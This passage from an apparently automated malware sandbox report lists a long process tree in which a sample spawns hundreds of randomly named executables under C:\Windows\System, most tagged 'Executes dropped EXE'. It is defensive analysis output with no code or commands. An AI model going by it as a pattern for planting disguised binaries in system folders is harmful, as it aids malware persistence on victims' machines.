  - Executes dropped EXE
  PID:2808
- C:\Windows\System\VGmHjXq.exe
  C:\Windows\System\VGmHjXq.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\qhByTUb.exe
  C:\Windows\System\qhByTUb.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\HqOQjCb.exe
  C:\Windows\System\HqOQjCb.exe
  2⤵
  - Executes dropped EXE
  PID:3472
- C:\Windows\System\gtIxvBF.exe
  C:\Windows\System\gtIxvBF.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\FElLifI.exe
  C:\Windows\System\FElLifI.exe
  2⤵
  - Executes dropped EXE
  PID:1084
- C:\Windows\System\tdNtQlh.exe
  C:\Windows\System\tdNtQlh.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\zavJhOt.exe
  C:\Windows\System\zavJhOt.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\sdmSvhR.exe
  C:\Windows\System\sdmSvhR.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\EOaLkYE.exe
  C:\Windows\System\EOaLkYE.exe
  2⤵
  - Executes dropped EXE
  PID:1088
- C:\Windows\System\DatsgEj.exe
  C:\Windows\System\DatsgEj.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\tVpcrgV.exe
  C:\Windows\System\tVpcrgV.exe
  2⤵
  - Executes dropped EXE
  PID:1716
- C:\Windows\System\bSYBKbp.exe
  C:\Windows\System\bSYBKbp.exe
  2⤵
  - Executes dropped EXE
  PID:3124
- C:\Windows\System\BIvIaov.exe
  C:\Windows\System\BIvIaov.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\DnfFDcB.exe
  C:\Windows\System\DnfFDcB.exe
  2⤵
  - Executes dropped EXE
  PID:1944
- C:\Windows\System\BTvebGQ.exe
  C:\Windows\System\BTvebGQ.exe
  2⤵
  - Executes dropped EXE
  PID:4312
- C:\Windows\System\bpQcTId.exe
  C:\Windows\System\bpQcTId.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\iALHdQK.exe
  C:\Windows\System\iALHdQK.exe
  2⤵
  - Executes dropped EXE
  PID:4964
- C:\Windows\System\SrPNVvq.exe
  C:\Windows\System\SrPNVvq.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\vnKooOh.exe
  C:\Windows\System\vnKooOh.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\TsQYNhc.exe
  C:\Windows\System\TsQYNhc.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\snMaeqI.exe
  C:\Windows\System\snMaeqI.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\lguvlpm.exe
  C:\Windows\System\lguvlpm.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\PWFjEcQ.exe
  C:\Windows\System\PWFjEcQ.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\shKcRlm.exe
  C:\Windows\System\shKcRlm.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Windows\System\utIdqgO.exe
  C:\Windows\System\utIdqgO.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\xMXQabL.exe
  C:\Windows\System\xMXQabL.exe
  2⤵
  - Executes dropped EXE
  PID:2284
- C:\Windows\System\VduPwpf.exe
  C:\Windows\System\VduPwpf.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\AwgvrVO.exe
  C:\Windows\System\AwgvrVO.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\KIWqNDi.exe
  C:\Windows\System\KIWqNDi.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\jYveYYc.exe
  C:\Windows\System\jYveYYc.exe
  2⤵
  - Executes dropped EXE
  PID:4884
- C:\Windows\System\LDnkXyM.exe
  C:\Windows\System\LDnkXyM.exe
  2⤵
  - Executes dropped EXE
  PID:3812
- C:\Windows\System\IneUtMO.exe
  C:\Windows\System\IneUtMO.exe
  2⤵
  - Executes dropped EXE
  PID:1408
- C:\Windows\System\BZpFqfU.exe
  C:\Windows\System\BZpFqfU.exe
  2⤵
  - Executes dropped EXE
  PID:3468
- C:\Windows\System\mgmUNlT.exe
  C:\Windows\System\mgmUNlT.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\HAhXibZ.exe
  C:\Windows\System\HAhXibZ.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\rKwXPka.exe
  C:\Windows\System\rKwXPka.exe
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\Windows\System\YiZABaG.exe
  C:\Windows\System\YiZABaG.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\XgwNqpu.exe
  C:\Windows\System\XgwNqpu.exe
  2⤵
  - Executes dropped EXE
  PID:4820
- C:\Windows\System\rXfJTIy.exe
  C:\Windows\System\rXfJTIy.exe
  2⤵
  - Executes dropped EXE
  PID:3696
- C:\Windows\System\wWWYLph.exe
  C:\Windows\System\wWWYLph.exe
  2⤵
  - Executes dropped EXE
  PID:5128
- C:\Windows\System\JCcPKyT.exe
  C:\Windows\System\JCcPKyT.exe
  2⤵
  - Executes dropped EXE
  PID:5152
- C:\Windows\System\uVOCTKg.exe
  C:\Windows\System\uVOCTKg.exe
  2⤵
  - Executes dropped EXE
  PID:5176
- C:\Windows\System\ttuaFzV.exe
  C:\Windows\System\ttuaFzV.exe
  2⤵
  - Executes dropped EXE
  PID:5196
- C:\Windows\System\IMEORSs.exe
  C:\Windows\System\IMEORSs.exe
  2⤵
  - Executes dropped EXE
  PID:5216
- C:\Windows\System\ENylOAO.exe
  C:\Windows\System\ENylOAO.exe
  2⤵
  - Executes dropped EXE
  PID:5236
- C:\Windows\System\BGZajte.exe
  C:\Windows\System\BGZajte.exe
  2⤵
  - Executes dropped EXE
  PID:5260
- C:\Windows\System\jJxoIAs.exe
  C:\Windows\System\jJxoIAs.exe
  2⤵
  - Executes dropped EXE
  PID:5288
- C:\Windows\System\hWHPFbI.exe
  C:\Windows\System\hWHPFbI.exe
  2⤵
  - Executes dropped EXE
  PID:5308
- C:\Windows\System\fXUmhVE.exe
  C:\Windows\System\fXUmhVE.exe
  2⤵
  - Executes dropped EXE
  PID:5404
- C:\Windows\System\GvGKMAn.exe
  C:\Windows\System\GvGKMAn.exe
  2⤵
  - Executes dropped EXE
  PID:5448
- C:\Windows\System\tJfujvJ.exe
  C:\Windows\System\tJfujvJ.exe
  2⤵
  - Executes dropped EXE
  PID:5472
- C:\Windows\System\fIMnbjI.exe
  C:\Windows\System\fIMnbjI.exe
  2⤵
  - Executes dropped EXE
  PID:5488
- C:\Windows\System\YZvQApF.exe
  C:\Windows\System\YZvQApF.exe
  2⤵
  - Executes dropped EXE
  PID:5508
- C:\Windows\System\plsFnEg.exe
  C:\Windows\System\plsFnEg.exe
  2⤵
  - Executes dropped EXE
  PID:5528
- C:\Windows\System\djRyCIo.exe
  C:\Windows\System\djRyCIo.exe
  2⤵
  PID:5548
- C:\Windows\System\fziQCWl.exe
  C:\Windows\System\fziQCWl.exe
  2⤵
  PID:5592
- C:\Windows\System\yRQuDbb.exe
  C:\Windows\System\yRQuDbb.exe
  2⤵
  PID:5612
- C:\Windows\System\GMXgEmO.exe
  C:\Windows\System\GMXgEmO.exe
  2⤵
  PID:5628
- C:\Windows\System\RMWzuzF.exe
  C:\Windows\System\RMWzuzF.exe
  2⤵
  PID:5656
- C:\Windows\System\UvNcBVd.exe
  C:\Windows\System\UvNcBVd.exe
  2⤵
  PID:5680
- C:\Windows\System\LHzyXBf.exe
  C:\Windows\System\LHzyXBf.exe
  2⤵
  PID:5700
- C:\Windows\System\CmLayFh.exe
  C:\Windows\System\CmLayFh.exe
  2⤵
  PID:5728
- C:\Windows\System\GrDBmjW.exe
  C:\Windows\System\GrDBmjW.exe
  2⤵
  PID:5748
- C:\Windows\System\UVAhqCW.exe
  C:\Windows\System\UVAhqCW.exe
  2⤵
  PID:5764
- C:\Windows\System\mkyTbUC.exe
  C:\Windows\System\mkyTbUC.exe
  2⤵
  PID:5788
- C:\Windows\System\gJNyhaP.exe
  C:\Windows\System\gJNyhaP.exe
  2⤵
  PID:5812
- C:\Windows\System\hnvKlGQ.exe
  C:\Windows\System\hnvKlGQ.exe
  2⤵
  PID:5832
- C:\Windows\System\qdUgxCa.exe
  C:\Windows\System\qdUgxCa.exe
  2⤵
  PID:5856
- C:\Windows\System\AUzrwcd.exe
  C:\Windows\System\AUzrwcd.exe
  2⤵
  PID:5880
- C:\Windows\System\BCmXdmo.exe
  C:\Windows\System\BCmXdmo.exe
  2⤵
  PID:5900
- C:\Windows\System\FCpwZXW.exe
  C:\Windows\System\FCpwZXW.exe
  2⤵
  PID:5920
- C:\Windows\System\ICfKKQv.exe
  C:\Windows\System\ICfKKQv.exe
  2⤵
  PID:5944
- C:\Windows\System\mTFzWRp.exe
  C:\Windows\System\mTFzWRp.exe
  2⤵
  PID:5972
- C:\Windows\System\soNTVkB.exe
  C:\Windows\System\soNTVkB.exe
  2⤵
  PID:5992
- C:\Windows\System\xQyFFeu.exe
  C:\Windows\System\xQyFFeu.exe
  2⤵
  PID:6008
- C:\Windows\System\itLLfIP.exe
  C:\Windows\System\itLLfIP.exe
  2⤵
  PID:6032
- C:\Windows\System\oRJYRPs.exe
  C:\Windows\System\oRJYRPs.exe
  2⤵
  PID:6052
- C:\Windows\System\YTiYmVP.exe
  C:\Windows\System\YTiYmVP.exe
  2⤵
  PID:6076
- C:\Windows\System\wceqyQN.exe
  C:\Windows\System\wceqyQN.exe
  2⤵
  PID:6096
- C:\Windows\System\dXkHuZm.exe
  C:\Windows\System\dXkHuZm.exe
  2⤵
  PID:6120
- C:\Windows\System\TZQSnuI.exe
  C:\Windows\System\TZQSnuI.exe
  2⤵
  PID:6140
- C:\Windows\System\WyJUiwf.exe
  C:\Windows\System\WyJUiwf.exe
  2⤵
  PID:4748
- C:\Windows\System\ArhQcFw.exe
  C:\Windows\System\ArhQcFw.exe
  2⤵
  PID:2228
- C:\Windows\System\WPzCPei.exe
  C:\Windows\System\WPzCPei.exe
  2⤵
  PID:3164
- C:\Windows\System\QtrXHaI.exe
  C:\Windows\System\QtrXHaI.exe
  2⤵
  PID:3572
- C:\Windows\System\HCCGLZz.exe
  C:\Windows\System\HCCGLZz.exe
  2⤵
  PID:3876
- C:\Windows\System\zWNGumW.exe
  C:\Windows\System\zWNGumW.exe
  2⤵
  PID:1932
- C:\Windows\System\BfQUkqM.exe
  C:\Windows\System\BfQUkqM.exe
  2⤵
  PID:2156
- C:\Windows\System\LIDoBNV.exe
  C:\Windows\System\LIDoBNV.exe
  2⤵
  PID:2960
- C:\Windows\System\fhnljSR.exe
  C:\Windows\System\fhnljSR.exe
  2⤵
  PID:1020
- C:\Windows\System\xYzvobb.exe
  C:\Windows\System\xYzvobb.exe
  2⤵
  PID:3372
- C:\Windows\System\GkNpFfi.exe
  C:\Windows\System\GkNpFfi.exe
  2⤵
  PID:2208
- C:\Windows\System\peQXSkx.exe
  C:\Windows\System\peQXSkx.exe
  2⤵
  PID:1764
- C:\Windows\System\tMMtijZ.exe
  C:\Windows\System\tMMtijZ.exe
  2⤵
  PID:4920
- C:\Windows\System\yxtYIKk.exe
  C:\Windows\System\yxtYIKk.exe
  2⤵
  PID:2140
- C:\Windows\System\MzBctDs.exe
  C:\Windows\System\MzBctDs.exe
  2⤵
  PID:2308
- C:\Windows\System\BohdZXL.exe
  C:\Windows\System\BohdZXL.exe
  2⤵
  PID:3580
- C:\Windows\System\BFYMVPV.exe
  C:\Windows\System\BFYMVPV.exe
  2⤵
  PID:5160
- C:\Windows\System\AhyzRvk.exe
  C:\Windows\System\AhyzRvk.exe
  2⤵
  PID:5208
- C:\Windows\System\iWyOmLu.exe
  C:\Windows\System\iWyOmLu.exe
  2⤵
  PID:5248
- C:\Windows\System\OUHhbfA.exe
  C:\Windows\System\OUHhbfA.exe
  2⤵
  PID:5300
- C:\Windows\System\xiwbyCJ.exe
  C:\Windows\System\xiwbyCJ.exe
  2⤵
  PID:5360
- C:\Windows\System\UFkNgFP.exe
  C:\Windows\System\UFkNgFP.exe
  2⤵
  PID:2796
- C:\Windows\System\kvTKnlE.exe
  C:\Windows\System\kvTKnlE.exe
  2⤵
  PID:3628
- C:\Windows\System\IPDPtoy.exe
  C:\Windows\System\IPDPtoy.exe
  2⤵
  PID:1768
- C:\Windows\System\mztLIen.exe
  C:\Windows\System\mztLIen.exe
  2⤵
  PID:1692
- C:\Windows\System\fBJLuTS.exe
  C:\Windows\System\fBJLuTS.exe
  2⤵
  PID:5444
- C:\Windows\System\yWGetaT.exe
  C:\Windows\System\yWGetaT.exe
  2⤵
  PID:5428
- C:\Windows\System\QnxxLUZ.exe
  C:\Windows\System\QnxxLUZ.exe
  2⤵
  PID:5588
- C:\Windows\System\lClrDjN.exe
  C:\Windows\System\lClrDjN.exe
  2⤵
  PID:5668
- C:\Windows\System\LOpDFlE.exe
  C:\Windows\System\LOpDFlE.exe
  2⤵
  PID:5696
- C:\Windows\System\qmDHDLk.exe
  C:\Windows\System\qmDHDLk.exe
  2⤵
  PID:5744
- C:\Windows\System\byYtTKK.exe
  C:\Windows\System\byYtTKK.exe
  2⤵
  PID:5712
- C:\Windows\System\GHtgIrm.exe
  C:\Windows\System\GHtgIrm.exe
  2⤵
  PID:5908
- C:\Windows\System\SZDtsPC.exe
  C:\Windows\System\SZDtsPC.exe
  2⤵
  PID:5956
- C:\Windows\System\sLMlvmY.exe
  C:\Windows\System\sLMlvmY.exe
  2⤵
  PID:6004
- C:\Windows\System\ACWTxpq.exe
  C:\Windows\System\ACWTxpq.exe
  2⤵
  PID:6028
- C:\Windows\System\ONSgETF.exe
  C:\Windows\System\ONSgETF.exe
  2⤵
  PID:5960
- C:\Windows\System\FexWjSr.exe
  C:\Windows\System\FexWjSr.exe
  2⤵
  PID:4356
- C:\Windows\System\ltwOGoc.exe
  C:\Windows\System\ltwOGoc.exe
  2⤵
  PID:5964
- C:\Windows\System\PwjMYAn.exe
  C:\Windows\System\PwjMYAn.exe
  2⤵
  PID:6016
- C:\Windows\System\bELmRRh.exe
  C:\Windows\System\bELmRRh.exe
  2⤵
  PID:5252
- C:\Windows\System\HgVPxUk.exe
  C:\Windows\System\HgVPxUk.exe
  2⤵
  PID:6060
- C:\Windows\System\RtBDmyh.exe
  C:\Windows\System\RtBDmyh.exe
  2⤵
  PID:4336
- C:\Windows\System\SKDPeUc.exe
  C:\Windows\System\SKDPeUc.exe
  2⤵
  PID:1140
- C:\Windows\System\jzRkZkM.exe
  C:\Windows\System\jzRkZkM.exe
  2⤵
  PID:3104
- C:\Windows\System\CKnIlVV.exe
  C:\Windows\System\CKnIlVV.exe
  2⤵
  PID:4704
- C:\Windows\System\bPyBRsE.exe
  C:\Windows\System\bPyBRsE.exe
  2⤵
  PID:3264
- C:\Windows\System\MRkwqsk.exe
  C:\Windows\System\MRkwqsk.exe
  2⤵
  PID:3864
- C:\Windows\System\MuFGmul.exe
  C:\Windows\System\MuFGmul.exe
  2⤵
  PID:5708
- C:\Windows\System\GQwNirc.exe
  C:\Windows\System\GQwNirc.exe
  2⤵
  PID:5280
- C:\Windows\System\WeYOXSc.exe
  C:\Windows\System\WeYOXSc.exe
  2⤵
  PID:5780
- C:\Windows\System\WxphyFg.exe
  C:\Windows\System\WxphyFg.exe
  2⤵
  PID:5784
- C:\Windows\System\NehtFRD.exe
  C:\Windows\System\NehtFRD.exe
  2⤵
  PID:2264
- C:\Windows\System\xkVViwh.exe
  C:\Windows\System\xkVViwh.exe
  2⤵
  PID:376
- C:\Windows\System\cHgKrFM.exe
  C:\Windows\System\cHgKrFM.exe
  2⤵
  PID:6168
- C:\Windows\System\JfClegR.exe
  C:\Windows\System\JfClegR.exe
  2⤵
  PID:6192
- C:\Windows\System\jJHVHch.exe
  C:\Windows\System\jJHVHch.exe
  2⤵
  PID:6212
- C:\Windows\System\liHDNsO.exe
  C:\Windows\System\liHDNsO.exe
  2⤵
  PID:6236
- C:\Windows\System\AmMEfgD.exe
  C:\Windows\System\AmMEfgD.exe
  2⤵
  PID:6256
- C:\Windows\System\lvyIoFB.exe
  C:\Windows\System\lvyIoFB.exe
  2⤵
  PID:6280
- C:\Windows\System\JfbPzjX.exe
  C:\Windows\System\JfbPzjX.exe
  2⤵
  PID:6300
- C:\Windows\System\dWnwRyQ.exe
  C:\Windows\System\dWnwRyQ.exe
  2⤵
  PID:6320
- C:\Windows\System\gZOSnLj.exe
  C:\Windows\System\gZOSnLj.exe
  2⤵
  PID:6344
- C:\Windows\System\JuOiQyZ.exe
  C:\Windows\System\JuOiQyZ.exe
  2⤵
  PID:6364
- C:\Windows\System\XTSuQUt.exe
  C:\Windows\System\XTSuQUt.exe
  2⤵
  PID:6380
- C:\Windows\System\EvuFqhC.exe
  C:\Windows\System\EvuFqhC.exe
  2⤵
  PID:6408
- C:\Windows\System\UwoTEqg.exe
  C:\Windows\System\UwoTEqg.exe
  2⤵
  PID:6436
- C:\Windows\System\rwJnwKW.exe
  C:\Windows\System\rwJnwKW.exe
  2⤵
  PID:6456
- C:\Windows\System\pBKyXWm.exe
  C:\Windows\System\pBKyXWm.exe
  2⤵
  PID:6472
- C:\Windows\System\SwoXTQa.exe
  C:\Windows\System\SwoXTQa.exe
  2⤵
  PID:6496
- C:\Windows\System\KYDtdwA.exe
  C:\Windows\System\KYDtdwA.exe
  2⤵
  PID:6516
- C:\Windows\System\cDSQPXv.exe
  C:\Windows\System\cDSQPXv.exe
  2⤵
  PID:6536
- C:\Windows\System\aMaAEpQ.exe
  C:\Windows\System\aMaAEpQ.exe
  2⤵
  PID:6568
- C:\Windows\System\xmdnSua.exe
  C:\Windows\System\xmdnSua.exe
  2⤵
  PID:6584
- C:\Windows\System\yZtKWIS.exe
  C:\Windows\System\yZtKWIS.exe
  2⤵
  PID:6612
- C:\Windows\System\miAzaoR.exe
  C:\Windows\System\miAzaoR.exe
  2⤵
  PID:6632
- C:\Windows\System\CJChvWB.exe
  C:\Windows\System\CJChvWB.exe
  2⤵
  PID:6652
- C:\Windows\System\DBCHJyB.exe
  C:\Windows\System\DBCHJyB.exe
  2⤵
  PID:6680
- C:\Windows\System\dOdpusF.exe
  C:\Windows\System\dOdpusF.exe
  2⤵
  PID:6700
- C:\Windows\System\JatyGyN.exe
  C:\Windows\System\JatyGyN.exe
  2⤵
  PID:6728
- C:\Windows\System\iDhfRuh.exe
  C:\Windows\System\iDhfRuh.exe
  2⤵
  PID:6744
- C:\Windows\System\GyAIveq.exe
  C:\Windows\System\GyAIveq.exe
  2⤵
  PID:6768
- C:\Windows\System\LIrjeZL.exe
  C:\Windows\System\LIrjeZL.exe
  2⤵
  PID:6792
- C:\Windows\System\TsgQZDj.exe
  C:\Windows\System\TsgQZDj.exe
  2⤵
  PID:6816
- C:\Windows\System\UxJapPH.exe
  C:\Windows\System\UxJapPH.exe
  2⤵
  PID:6840
- C:\Windows\System\YpcQoOC.exe
  C:\Windows\System\YpcQoOC.exe
  2⤵
  PID:6860
- C:\Windows\System\gftJiOu.exe
  C:\Windows\System\gftJiOu.exe
  2⤵
  PID:6888
- C:\Windows\System\qTwuaUn.exe
  C:\Windows\System\qTwuaUn.exe
  2⤵
  PID:6908
- C:\Windows\System\UWzGeiI.exe
  C:\Windows\System\UWzGeiI.exe
  2⤵
  PID:5772
- C:\Windows\System\SpFVNJB.exe
  C:\Windows\System\SpFVNJB.exe
  2⤵
  PID:6208
- C:\Windows\System\TafACiv.exe
  C:\Windows\System\TafACiv.exe
  2⤵
  PID:6292
- C:\Windows\System\bOIIsgV.exe
  C:\Windows\System\bOIIsgV.exe
  2⤵
  PID:6376
- C:\Windows\System\OBHhtOb.exe
  C:\Windows\System\OBHhtOb.exe
  2⤵
  PID:5432
- C:\Windows\System\ymwMGAl.exe
  C:\Windows\System\ymwMGAl.exe
  2⤵
  PID:6488
- C:\Windows\System\bdLqHYQ.exe
  C:\Windows\System\bdLqHYQ.exe
  2⤵
  PID:6532
- C:\Windows\System\XQMtfpT.exe
  C:\Windows\System\XQMtfpT.exe
  2⤵
  PID:6560
- C:\Windows\System\NRodLJK.exe
  C:\Windows\System\NRodLJK.exe
  2⤵
  PID:1236
- C:\Windows\System\XBtAbYl.exe
  C:\Windows\System\XBtAbYl.exe
  2⤵
  PID:6692
- C:\Windows\System\rZHcbsW.exe
  C:\Windows\System\rZHcbsW.exe
  2⤵
  PID:6764
- C:\Windows\System\ZMksacZ.exe
  C:\Windows\System\ZMksacZ.exe
  2⤵
  PID:6268
- C:\Windows\System\qVtknjU.exe
  C:\Windows\System\qVtknjU.exe
  2⤵
  PID:6416
- C:\Windows\System\XPMgFor.exe
  C:\Windows\System\XPMgFor.exe
  2⤵
  PID:6504
- C:\Windows\System\KGklUre.exe
  C:\Windows\System\KGklUre.exe
  2⤵
  PID:6592
- C:\Windows\System\MLHuyoX.exe
  C:\Windows\System\MLHuyoX.exe
  2⤵
  PID:6696
- C:\Windows\System\xtavWUV.exe
  C:\Windows\System\xtavWUV.exe
  2⤵
  PID:6928
- C:\Windows\System\tkKkvKz.exe
  C:\Windows\System\tkKkvKz.exe
  2⤵
  PID:7024
- C:\Windows\System\sVNVMTG.exe
  C:\Windows\System\sVNVMTG.exe
  2⤵
  PID:820
- C:\Windows\System\svxKQuD.exe
  C:\Windows\System\svxKQuD.exe
  2⤵
  PID:6136
- C:\Windows\System\dnjWTJe.exe
  C:\Windows\System\dnjWTJe.exe
  2⤵
  PID:6288
- C:\Windows\System\cOqaUfk.exe
  C:\Windows\System\cOqaUfk.exe
  2⤵
  PID:6356
- C:\Windows\System\qNxqBbN.exe
  C:\Windows\System\qNxqBbN.exe
  2⤵
  PID:7200
- C:\Windows\System\ydXRSVm.exe
  C:\Windows\System\ydXRSVm.exe
  2⤵
  PID:7220
- C:\Windows\System\LFTIkLL.exe
  C:\Windows\System\LFTIkLL.exe
  2⤵
  PID:7248
- C:\Windows\System\UhaAsWE.exe
  C:\Windows\System\UhaAsWE.exe
  2⤵
  PID:7272
- C:\Windows\System\JdjqBqE.exe
  C:\Windows\System\JdjqBqE.exe
  2⤵
  PID:7292
- C:\Windows\System\mrJaMhL.exe
  C:\Windows\System\mrJaMhL.exe
  2⤵
  PID:7316
- C:\Windows\System\KSkRvZB.exe
  C:\Windows\System\KSkRvZB.exe
  2⤵
  PID:7336
- C:\Windows\System\sHFJroI.exe
  C:\Windows\System\sHFJroI.exe
  2⤵
  PID:7360
- C:\Windows\System\MDrcjoQ.exe
  C:\Windows\System\MDrcjoQ.exe
  2⤵
  PID:7380
- C:\Windows\System\zqLncMc.exe
  C:\Windows\System\zqLncMc.exe
  2⤵
  PID:7400
- C:\Windows\System\kTBlRgi.exe
  C:\Windows\System\kTBlRgi.exe
  2⤵
  PID:7420
- C:\Windows\System\RQiJPdK.exe
  C:\Windows\System\RQiJPdK.exe
  2⤵
  PID:7444
- C:\Windows\System\AQRcQEv.exe
  C:\Windows\System\AQRcQEv.exe
  2⤵
  PID:7460
- C:\Windows\System\praGKro.exe
  C:\Windows\System\praGKro.exe
  2⤵
  PID:7480
- C:\Windows\System\FaZDLHn.exe
  C:\Windows\System\FaZDLHn.exe
  2⤵
  PID:7504
- C:\Windows\System\ZiAUgYX.exe
  C:\Windows\System\ZiAUgYX.exe
  2⤵
  PID:7524
- C:\Windows\System\qrSPGHS.exe
  C:\Windows\System\qrSPGHS.exe
  2⤵
  PID:7540
- C:\Windows\System\nmuPLbe.exe
  C:\Windows\System\nmuPLbe.exe
  2⤵
  PID:7560
- C:\Windows\System\PlOjSQL.exe
  C:\Windows\System\PlOjSQL.exe
  2⤵
  PID:7584
- C:\Windows\System\hjgqCkY.exe
  C:\Windows\System\hjgqCkY.exe
  2⤵
  PID:7608
- C:\Windows\System\EiZqyKg.exe
  C:\Windows\System\EiZqyKg.exe
  2⤵
  PID:7624
- C:\Windows\System\PBiqBhV.exe
  C:\Windows\System\PBiqBhV.exe
  2⤵
  PID:7644
- C:\Windows\System\AzkTaZZ.exe
  C:\Windows\System\AzkTaZZ.exe
  2⤵
  PID:7664
- C:\Windows\System\LPrCFNe.exe
  C:\Windows\System\LPrCFNe.exe
  2⤵
  PID:7688
- C:\Windows\System\sWHXccg.exe
  C:\Windows\System\sWHXccg.exe
  2⤵
  PID:7712
- C:\Windows\System\qxnwijw.exe
  C:\Windows\System\qxnwijw.exe
  2⤵
  PID:7740
- C:\Windows\System\wQFCJkQ.exe
  C:\Windows\System\wQFCJkQ.exe
  2⤵
  PID:7756
- C:\Windows\System\ZQkhrnQ.exe
  C:\Windows\System\ZQkhrnQ.exe
  2⤵
  PID:7780
- C:\Windows\System\tvhhAcY.exe
  C:\Windows\System\tvhhAcY.exe
  2⤵
  PID:7800
- C:\Windows\System\BHYdzAS.exe
  C:\Windows\System\BHYdzAS.exe
  2⤵
  PID:7820
- C:\Windows\System\oNZtxsF.exe
  C:\Windows\System\oNZtxsF.exe
  2⤵
  PID:7840
- C:\Windows\System\KyrkCiX.exe
  C:\Windows\System\KyrkCiX.exe
  2⤵
  PID:7864
- C:\Windows\System\GSrGiqC.exe
  C:\Windows\System\GSrGiqC.exe
  2⤵
  PID:7884
- C:\Windows\System\dhfYytC.exe
  C:\Windows\System\dhfYytC.exe
  2⤵
  PID:7904
- C:\Windows\System\hXFUcEW.exe
  C:\Windows\System\hXFUcEW.exe
  2⤵
  PID:7924
- C:\Windows\System\UyPCqFj.exe
  C:\Windows\System\UyPCqFj.exe
  2⤵
  PID:7940
- C:\Windows\System\zIQzOzN.exe
  C:\Windows\System\zIQzOzN.exe
  2⤵
  PID:7964
- C:\Windows\System\GmEajXk.exe
  C:\Windows\System\GmEajXk.exe
  2⤵
  PID:7980
- C:\Windows\System\qOfyOvV.exe
  C:\Windows\System\qOfyOvV.exe
  2⤵
  PID:8000
- C:\Windows\System\VDLNRuu.exe
  C:\Windows\System\VDLNRuu.exe
  2⤵
  PID:8020
- C:\Windows\System\xLddniw.exe
  C:\Windows\System\xLddniw.exe
  2⤵
  PID:8040
- C:\Windows\System\QeSTxBQ.exe
  C:\Windows\System\QeSTxBQ.exe
  2⤵
  PID:8064
- C:\Windows\System\NXtgYtx.exe
  C:\Windows\System\NXtgYtx.exe
  2⤵
  PID:8084
- C:\Windows\System\IFOnWQw.exe
  C:\Windows\System\IFOnWQw.exe
  2⤵
  PID:8104
- C:\Windows\System\CncxuhM.exe
  C:\Windows\System\CncxuhM.exe
  2⤵
  PID:8132
- C:\Windows\System\LfhhUMe.exe
  C:\Windows\System\LfhhUMe.exe
  2⤵
  PID:8156
- C:\Windows\System\noxfVGc.exe
  C:\Windows\System\noxfVGc.exe
  2⤵
  PID:8172
- C:\Windows\System\LCCUvIr.exe
  C:\Windows\System\LCCUvIr.exe
  2⤵
  PID:8188
- C:\Windows\System\TxhTljg.exe
  C:\Windows\System\TxhTljg.exe
  2⤵
  PID:6784
- C:\Windows\System\vfaCVpn.exe
  C:\Windows\System\vfaCVpn.exe
  2⤵
  PID:6528
- C:\Windows\System\OEyFrnk.exe
  C:\Windows\System\OEyFrnk.exe
  2⤵
  PID:5984
- C:\Windows\System\YYnsEIY.exe
  C:\Windows\System\YYnsEIY.exe
  2⤵
  PID:7040
- C:\Windows\System\rkCTnxE.exe
  C:\Windows\System\rkCTnxE.exe
  2⤵
  PID:6464
- C:\Windows\System\lERwbHk.exe
  C:\Windows\System\lERwbHk.exe
  2⤵
  PID:7188
- C:\Windows\System\HtZtsBa.exe
  C:\Windows\System\HtZtsBa.exe
  2⤵
  PID:6176
- C:\Windows\System\ztGJXds.exe
  C:\Windows\System\ztGJXds.exe
  2⤵
  PID:7328
- C:\Windows\System\ELUxYUn.exe
  C:\Windows\System\ELUxYUn.exe
  2⤵
  PID:6868
- C:\Windows\System\xKBQzEV.exe
  C:\Windows\System\xKBQzEV.exe
  2⤵
  PID:5932
- C:\Windows\System\KQgKrKB.exe
  C:\Windows\System\KQgKrKB.exe
  2⤵
  PID:7500
- C:\Windows\System\TgXWfNM.exe
  C:\Windows\System\TgXWfNM.exe
  2⤵
  PID:6508
- C:\Windows\System\pLAeCLw.exe
  C:\Windows\System\pLAeCLw.exe
  2⤵
  PID:7236
- C:\Windows\System\AVXUvrm.exe
  C:\Windows\System\AVXUvrm.exe
  2⤵
  PID:6448
- C:\Windows\System\vTjEHjb.exe
  C:\Windows\System\vTjEHjb.exe
  2⤵
  PID:7600
- C:\Windows\System\gVQjjYR.exe
  C:\Windows\System\gVQjjYR.exe
  2⤵
  PID:7764
- C:\Windows\System\caMEkMU.exe
  C:\Windows\System\caMEkMU.exe
  2⤵
  PID:6276
- C:\Windows\System\JlIjhzO.exe
  C:\Windows\System\JlIjhzO.exe
  2⤵
  PID:7848
- C:\Windows\System\jBhIyHP.exe
  C:\Windows\System\jBhIyHP.exe
  2⤵
  PID:7916
- C:\Windows\System\CtuUdfb.exe
  C:\Windows\System\CtuUdfb.exe
  2⤵
  PID:7548
- C:\Windows\System\dqpGqWV.exe
  C:\Windows\System\dqpGqWV.exe
  2⤵
  PID:7300
- C:\Windows\System\QstZytg.exe
  C:\Windows\System\QstZytg.exe
  2⤵
  PID:7332
- C:\Windows\System\WWRJqHq.exe
  C:\Windows\System\WWRJqHq.exe
  2⤵
  PID:8080
- C:\Windows\System\NnjofAc.exe
  C:\Windows\System\NnjofAc.exe
  2⤵
  PID:7656
- C:\Windows\System\VHnClAb.exe
